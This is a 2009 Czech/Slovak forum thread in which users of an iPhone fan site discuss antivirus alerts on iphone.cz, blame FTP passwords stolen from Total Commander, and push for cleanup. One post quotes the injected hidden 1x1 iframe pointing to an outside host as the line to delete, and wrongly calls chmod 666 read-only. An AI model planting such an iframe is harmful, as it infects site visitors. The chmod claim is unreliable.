Viry na www.iphone.cz

milan1988 · Příspěvek od **milan1988** » pon dub 20, 2009 7:55 pm

Ahoj lidi, mám takový problém, vždy když jdu na http://www.iphone.cz tak se mi objeví dvě hlášky o virech na stránce (mám Avast 4 home)
Máte někdo stejný problém?

Yreg · Příspěvek od **Yreg** » pon dub 20, 2009 7:58 pm

Áno, už sa tu o tom pár krát diskutovalo, viac menej to nikto nerieši. Niektorí moderátori tvrdia, že to tak nie je (že sa jedná o "chybu" - ???), nejaký užívateľ tvrdil, že je tam vírus ktorý si ťahá uložené heslá z totalcommandéru a ak získa prístup na nejakú stránku tak sa tam doplní. Viacmenej určite by som tam bez antivíru a nejakého seriózneho prehliadaču nešiel.

edit: pre Julka: rozozná to minimálne Avast, NOD a Google Chrome/Desktop.

Příspěvek od **Julek** » pon dub 20, 2009 7:59 pm

u mě nic, divné.. mrknu na to

Příspěvek od **iTukan** » pon dub 20, 2009 8:41 pm

Jedna se o vir Iframe...

Julku, staci kdyz se podivam na zdrojovy kod hlavni strany, mas ho hned na zacatku...

Ja napr. hlavni stranku vubec v praci nezobrazim, nase firewally jsou online kontrolovane antiviry a stranky blokuji.

EDIT:
Jo, jestli premyslis jak to odstranit, tak jedine rucne nebo ze zaloh. A hlavne zmenit heslo pro pristup pres FTP.

tBAcK · Příspěvek od **tBAcK** » pon dub 20, 2009 8:59 pm

uhm..aj mne dneska cely cas nod hlasil nejaky virus ae nejak som to podrobnejsie neskumal:P..

mullDie · Příspěvek od **mullDie** » pon dub 20, 2009 9:01 pm

Ano, ten vir tam je a nadelal mi nemalou paseku v pracovnim pc :-/

Příspěvek od **Paly** » pon dub 20, 2009 9:01 pm

U mna nic nehlasi. Vsetko ide v pohode.

Yreg · Příspěvek od **Yreg** » pon dub 20, 2009 9:04 pm

Si robíte srandu nie? Paly, nainštaluj si Avast/NOD alebo Google Desktop/Chrome/Gears a myslím, že aj toolbar to zvládne. Ak máš tak ich aspoň aktualizuj a skús znova.

Ťažko by sa dalo uveriť, že nám to mallware objaví a tebe nie.

Příspěvek od **terry** » pon dub 20, 2009 9:07 pm

A co takhle říci Windows ne a přejít na Mac?

Yreg · Příspěvek od **Yreg** » pon dub 20, 2009 9:11 pm

pmg, tak asiže to budem skúšať z pc ;)

A terry, páči sa mi tvoja stratégia, majme vírusy na hlavnej stránke a ak bude niekto pindať, odporúčme mu aby si kúpil mac..

Příspěvek od **Paly** » pon dub 20, 2009 9:22 pm

Mam MAC a nezobrazuje mi ziadnu hlasku

. Neviem cim to je Yregu, ale myslim, ze to rychlo odstrania. Dufam.

Yreg · Příspěvek od **Yreg** » pon dub 20, 2009 9:30 pm

Keď vám priamo napíšem programy, ktoré to vedia zobraziť, tak nie je moc produktívne tam skúsiť príjsť z ľubovoľným počítačom bez nich a napísať "mne to nič nezobrazuje". Je celkom pochopiteľné, že je to vírus len na Windows. Pri podieli, aký má Apple na trhu počítačov sa divím ľuďom, čo robia vírusy na Macy. Je vôbec ttlcmd na mac?

Myslím, že je pre portál dosť hanba, že tam niečo také je a malo by sa to čo najskôr vyriešiť..

Příspěvek od **spachal_tmp** » pon dub 20, 2009 9:55 pm

No v kazdem pripade je v IE7 rozhozeny layout, stranky se nacitaji znacne chaoticky. V Gecku, Opere, Chrome i Safari je to v pohode. A nejedna se o nejaky problem s lokalni cache, zkousel jsem to i v IE6 na 'ciste' virtualni masine ..

Příspěvek od **iTukan** » úte dub 21, 2009 5:29 am

A je to tu stale... :shock:

V souboru byl nalezen virus Exploit.HTML.IFrame-6

Yregu, divim se, ze se cilis. Zdejsi admini prece maji vzdycky pravdu, a kdyz reknou, ze tam nic neni, tak tam nic neni... :roll:

Příspěvek od **burr0head** » úte dub 21, 2009 5:47 am

i Opera a Nod32 to hlasi..kdo neveri, at tam bezi

)

berkoff · Příspěvek od **berkoff** » úte dub 21, 2009 6:05 am

Bych umazal <iframe src="http://sefauro.net/?click=282C89C" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> a nastavil soubor index.php na chmod 666 tj jen na cteni, pak je to v pohode

Stejne jsem to resil na pipni.

rony · Příspěvek od **rony** » úte dub 21, 2009 6:37 am

Prosim vas, v pripade virusu tohto typu bude konstruktivni a pre tentoraz si odpustite hlasky o "mam mac, mne sa nic nezobrazuje".

Staci ak tu 1x bola pritomnost virusu preukazana a je treba konat a nie riesit chujoviny. Bez prepacenia za vyraz!!!

Uvedomte si doprdele, ze sem chodia denne tisice ludi, kolko pocitacov ste za tolko hodin vahania nakazili?

Ak je to ten virus aky myslim, tak VSETCI, co mate pristup k hostingu, ZRUSTE pouzivanie Total commanderu az do casu, ked dokazete, ze je bezchybny. Toto urobte bezodkladne!!! A pekne prosim, neoznamujte si to navzajom mailami ale prinajmenej mobilom.

Jedno ci je niekto chory, chromy, lenivy, nasrany, prilis bohaty alebo mrtvy. Musi urobit vsetko nevyhnutne.

Na http://www.iphone.cz to uz reportuje aj Firefox:

Reported Attack Site!

This web site at http://www.iphone.cz has been reported as an attack site and has been blocked based on your security preferences.

Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.

Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.

To znamena, ze uz je iphone.cz v databazach - pekne pani.

Ten majster, co robil uvodnu stranku, pozdravujem!

Příspěvek od **ls8** » úte dub 21, 2009 6:49 am

Virus se sem mohl dostat nekolika zpusoby:

1/ nekdo hacknul webovy server cables.cz - nutno konzultovat s administratorem serveru
2/ nekdo vyuzil diry v phpBB - nutno provest upgrade enginu fora na nejnovejsi verzi
3/ nekdo se dostal k heslu pro pristup na server, kde jsou stranky ulozene - hesla nutno zmenit (v kazdem pripade, bez ohledu jestli pricina je 1/, 2/ nebo 3/)

rony · Příspěvek od **rony** » úte dub 21, 2009 7:01 am

s najvacsou pravdepodobnostou je cesta cez Total Commander s ulozenym uctom FTP k iphone.cz zo zavireneho PC u pouzivatela Internet Exploreru. Treba to bezodkladne riesit!!!

* odvirit svoj pocitac
* prestat pouzivat Total Commander na FTP do okamihu ako prejdes na iny FTP program resp. upgradovany TC, ktory zarucene netrpi problemom so sifrovanim hesiel
* zvazit pouzivanie IE
* odstranit virus z uvodnej stranky iphone.cz
* zmenit hesla k FTP uctom
* upgradovat PHPBB pokial je dalsim zdrojom dier
* komunikovat so vsetkymi na hostingu, ktori maju FTP ucty a obdobny problem (TC, IE...)

Příspěvek od **iTukan** » úte dub 21, 2009 7:03 am

Rony, doufam, ze to byla vytka na adminy a ne na uzivatele, protoze na zavirovany server bylo upozornovano na zacatku dubna!!! Vzdy s vysledkem, ze to zamcel admin a nic se nedelo, protoze oni nic nevideli a oni jsou bohove...

viz:
http://www.iphone.cables.cz/viewtopic.php?f=1&t=16034&hilit=virus
http://www.iphone.cables.cz/viewtopic.php?f=7&t=16097

Jinak ze tento vir se siri hlavne diky nekodovanym heslum v total commanderu se vi. Ted musi admin serveru zapracovat...

S474N · Příspěvek od **S474N** » úte dub 21, 2009 7:09 am

LOL., to s tim TC jsem rikal uz davno, ale nikdo neveril, ach jo :roll:

viewtopic.php?f=27&t=16085&p=140405#p140405

rony · Příspěvek od **rony** » úte dub 21, 2009 9:12 am

itukan: SAMOZREJME. Len si uvedomte, ze moderatori nie su admini, nemaju ine prava ako tie v diskusnom fore. Netreba si ich pliest. Ani ja ako moderator s tym nic nemozem urobit len plieskat o hlavu kym sa to nezmeni.

Problem je v tom, ze pred par dnami nabehol novy http://www.iphone.cz a virus tam preplachtil tiez.

Ano: moze za to Total Commander!

Příspěvek od **Julek** » úte dub 21, 2009 9:17 am

marek nezvedá telefon, napsal jsem email tomu kdo delal nový iphone.cz .. jiný kontakt bohužel nemám

Příspěvek od **Julek** » úte dub 21, 2009 9:36 am

UP: tak prý opraveno .. někdo to zkontrolujte já mám MAC,
ftp fora a data zde mám ochráněné dobře
na ftp iphone.cz se už nedostanu .. ale snad to opravil koder + necham zmenit heslo na ftp iphone.cz

Ciko · Příspěvek od **Ciko** » úte dub 21, 2009 9:40 am

V Google Chrome to pořád hlásí vir a to jak na iphone.cz tak i tady na fóru.

Příspěvek od **Julek** » úte dub 21, 2009 9:48 am

ok pisu Milanovi at overi forum..

Příspěvek od **iTukan** » úte dub 21, 2009 9:55 am

Na foru jsem vira nevidel pred tim a ani ted.

Stranky iphone.cz to bude chtit dostat z blacklistu virovych databazi, jinak to nepujde ani kdyz je to opravene. Dostaly se tam diky tomu, ze byly zavirovany prilis dlouho.

EDIT:
Treba neco pomuze z tohoto:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=cs&site=http://www.iphone.cz/

Po obejiti zabezpeceni na podezrele stranky mi to stranky nacte a vira nehlasi. Ale ta blokace tam asi nejakou dobu bude.

Příspěvek od **Julek** » úte dub 21, 2009 9:59 am

Drsoň mi teď také potvrdil že fórum mám čisté. iPhone.cz si musí zajistit Marek

Příspěvek od **waczko** » úte dub 21, 2009 11:32 am

tohle už je blacklist

Příspěvek od **Julek** » úte dub 21, 2009 11:35 am

jj my víme, tohle at si udela marek, koder psal ze je komplet novej zdrojak, prepsana hesla atd..

mullDie · Příspěvek od **mullDie** » úte dub 21, 2009 1:38 pm

je to krasny, kdyz pulku dne odstranujete havet z iPhone webu... a jeste krasnejsi, kdyz vite, ze s tim nikdo nic nedela a muze se to stat dalsim a dalsim lidem

Příspěvek od **Julek** » úte dub 21, 2009 2:31 pm

ne ne ne pozor, uz to bylo davno odstranene, ted jen ve firefoxu jsme na black listu, ver mi ze jako admin fora delam co muzu aby i iphone.cz bylo ok, bohuzel nemam pristup na ftp co se tyce iphone.cz

Příspěvek od **ls8** » úte dub 21, 2009 4:58 pm

Urcite? V prvnim prispevku tohoto vlakna (ze vcerejska) uzivatel tvrdi, ze mu Avast stale hlasi pritomnost viru, ne blacklistovanou adresu.

Mimochodem, ten blacklist neni jen ve Firefoxu, ale asi ve vsech browserech vcetne Safari na Mac OS X:

Příspěvek od **Paly** » úte dub 21, 2009 5:16 pm

Ano takato hlaska sa mi zobrazuje od dnesneho rana.

Clant · Příspěvek od **Clant** » úte dub 21, 2009 6:00 pm

samí problém, používám NODa a Firefox. Jakmile napíšu iphone.cz tak první upozornění ze strany mozilly (blacklist jak jste zmínili) a hned potom NOD na mě bafne, že je nějakej vir v něčem a že pozastavuje stahování dat z iphone.cz

hehe

Příspěvek od **iTukan** » úte dub 21, 2009 6:17 pm

nene, vir je odstranen... ve FF sice mam hlasku o blokovani (diky blacklistu), ale pri ignorovani antivir (Avast, AVG) nic nehlasi (rano jeste ano). V IE se dokonce ani hlaska o blokaci nezobrazi a zdrojovy kod je cisty bez iframe... Stranka se zobrazi korektne.

Příspěvek od **Julek** » úte dub 21, 2009 6:44 pm

počkáme na google bota až to prolítne, už by to pak mělo být ok

S474N · Příspěvek od **S474N** » úte dub 21, 2009 10:22 pm

mullDie píše:je to krasny, kdyz pulku dne odstranujete havet z iPhone webu... a jeste krasnejsi, kdyz vite, ze s tim nikdo nic nedela a muze se to stat dalsim a dalsim lidem

Pulku dne? Rozhlidni se poradne, kdy se tady uz na to upozornovalo, ze to tam je :wink:

To je prachsprosty slendrian.

stř dub 22, 2009 12:30 am

Damy a panove, Julek to uz napsal snad naprosto jasne: nikdo, vcetne jeho jakozto jednoho ze dvou adminu zde na foru, nema krome jisteho pana Marka Zabrodskeho (admina), majitele domeny, moznost toto ovlivnit. Pan Zabrodsky o problemu najisto vi a pokud s tim neudela on nic, my nezmuzeme uz zcela nic. Je to jeho 'vizitka'.

Kontakt na nej je zde: http://www.iphone.cables.cz/memberlist.php?mode=viewprofile&u=2, http://www.iphone.cz/site/kontakt. Pokud mate zajem o reseni, ne jen o jizlive konstatovani stavu veci, kontaktujte jej. Osobne si nemyslim, ze to bude mit nejaky vyznam, ale to je asi tak vse, co s tim my jakozto clenove fora, muzeme udelat.
Pan Zabrodsky bude pravdepodobne osobne pritomny i na blizicim se srazu, muzete to s nim probrat osobne. V uvedenych kontaktech je dostatecne mnoho zpusobu, jak s nim navazat komunikaci.

Je zcela zbytecne zde uvadet nektere argumenty stale dokola, je to prinejmensim ztrata vaseho casu.

A muzete nam verit, ze nas moderatory i admina Julka, kteri mame zajem o co nejlepsi 'beh fora' i webu obecne, to .. mirne receno .. nemrzi. Probirame to (a ne prvne) i mimo verejnou cast fora, ale vysledek je prakticky shodny s tim zde uvadenym. Je zbytecne nam za to nadavat, v tomto pripade proste nemame jakoukoliv moznost tento stav zmenit. Napsal jsem to dostatecne jasne a srozumitelne? Pevne verim, ze ano.

Příspěvek od **Paly** » stř dub 22, 2009 1:47 am

Spachal to krasne vysvetlil, ja zamykam!